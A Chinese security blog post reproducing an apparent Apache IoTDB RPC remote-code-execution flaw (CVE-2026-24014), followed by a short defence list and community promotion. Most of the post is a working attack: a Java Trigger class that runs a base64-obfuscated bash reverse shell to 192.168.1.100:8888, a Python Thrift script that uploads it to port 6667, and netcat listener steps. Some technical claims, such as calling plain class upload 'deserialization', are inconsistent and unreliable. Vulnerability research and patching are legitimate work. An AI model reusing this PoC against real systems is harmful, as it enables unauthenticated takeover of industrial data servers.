CVE-2026-24014 Apache IoTDB 反序列化RCE漏洞复现(附PoC) - 安全技术
CVE-2026-24014 Apache IoTDB 反序列化RCE漏洞复现(附PoC) - 安全技术

CVE-2026-24014,Apache IoTDB DataNode内部RPC接口未对Trigger实例的class文件做任何校验,直接反序列化执行,CVSS 9.8,能直接getshell,这种漏洞不写就亏了。

CVE-2026-24014 Apache IoTDB 反序列化RCE漏洞复现(附PoC) - 安全技术

漏洞背景

Apache IoTDB是一个时序数据库,广泛应用于工业物联网场景。CVE-2026-24014出现在DataNode组件的Thrift RPC接口中,当用户上传一个恶意的Trigger实例(本质是一个Java类)时,服务端会直接通过ObjectInputStream反序列化并加载这个类,导致任意代码执行。

  • 受影响版本:Apache IoTDB 1.x系列(具体版本待官方确认,PoC公开前建议自查)
  • CVSS评分:9.8(Critical)
  • 危害描述:攻击者无需认证即可通过RPC接口上传恶意Trigger,触发反序列化,在IoTDB DataNode上执行任意命令,拿下服务器权限。工业场景下,这等于直接控制了整个时序数据采集链路。

环境搭建

用Docker拉一个IoTDB服务,简单粗暴。

docker pull apache/iotdb:1.3.0
docker run -d --name iotdb -p 6667:6667 apache/iotdb:1.3.0

等几十秒,服务启动后,用nc或者iotdb-cli连一下确认端口通着。

nc -zv 127.0.0.1 6667

返回Connection succeeded就行。

复现步骤

1. 构造恶意Trigger类

我们需要写一个实现了org.apache.iotdb.db.trigger.api.Trigger接口的Java类,在它的createrestore方法里塞入恶意代码。比如弹个计算器,或者反弹shell。

先写一个Exploit.java

import org.apache.iotdb.db.trigger.api.Trigger;
import org.apache.iotdb.db.trigger.api.TriggerAttributes;
import java.io.*;

public class Exploit implements Trigger {
    @Override
    public void onCreate(TriggerAttributes attributes) throws Exception {
        // 这里执行命令,比如反弹shell
        String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}";
        Runtime.getRuntime().exec(cmd);
    }

    @Override
    public void onRestore(TriggerAttributes attributes) throws Exception {
        // 同样可以触发
    }
}

编译它:

javac Exploit.java

得到一个Exploit.class文件。

2. 构造RPC请求

IoTDB的DataNode Thrift接口默认监听在6667端口,我们需要用Thrift客户端发送一个createTrigger请求,把Exploit.class作为参数传进去。

这里用Python写个脚本,依赖thrift库:

pip install thrift

脚本exploit.py

from thrift.transport import TSocket
from thrift.protocol import TBinaryProtocol
from iotdb.thrift import IoTDBRPCService
from iotdb.thrift.ttypes import *

transport = TSocket.TSocket('127.0.0.1', 6667)
transport.open()
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = IoTDBRPCService.Client(protocol)

# 读取恶意class文件
with open('Exploit.class', 'rb') as f:
    class_bytes = f.read()

# 构造Trigger信息
trigger_meta = TriggerMeta(
    triggerName='exploit_trigger',
    className='Exploit',
    jarFile=class_bytes,
    attributes={}
)

# 发送createTrigger请求
try:
    client.createTrigger(trigger_meta)
    print("Trigger created, check your listener!")
except Exception as e:
    print(f"Error: {e}")
finally:
    transport.close()

注意:这里的iotdb.thrift模块需要从IoTDB源码里生成,或者直接复制官方客户端代码。简单起见,你也可以用Burp Suite直接发送原始Thrift数据包(需要抓包分析协议结构),但用脚本更省事。

3. 触发反序列化

运行脚本:

python exploit.py

如果一切顺利,IoTDB服务端会反序列化Exploit.class,调用onCreate方法,执行我们塞进去的命令。你在192.168.1.100:8888上开个监听:

nc -lvnp 8888

就能收到反弹的shell。

4. 验证结果

拿个whoami试试:

whoami
iotdb

权限是IoTDB的运行用户,一般是非root,但足够在内网横向了。

防御措施

  1. 升级IoTDB版本:官方已经修复,去GitHub拉最新的release,或者等补丁出来直接打。
  2. 限制RPC接口访问:用iptables或防火墙,只允许信任IP访问6667端口。
  3. 反序列化白名单:在IoTDB配置里加上-Djdk.serialFilter,只允许特定类被反序列化。
  4. 最小权限运行:IoTDB服务不要用root跑,用专用低权限用户。

总结

CVE-2026-24014又是一个经典的反序列化RCE,Apache IoTDB的Trigger机制设计时没考虑安全,直接信任了用户上传的class。工业软件的安全任重道远啊,兄弟们测到这类漏洞赶紧报,别留着过年。

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注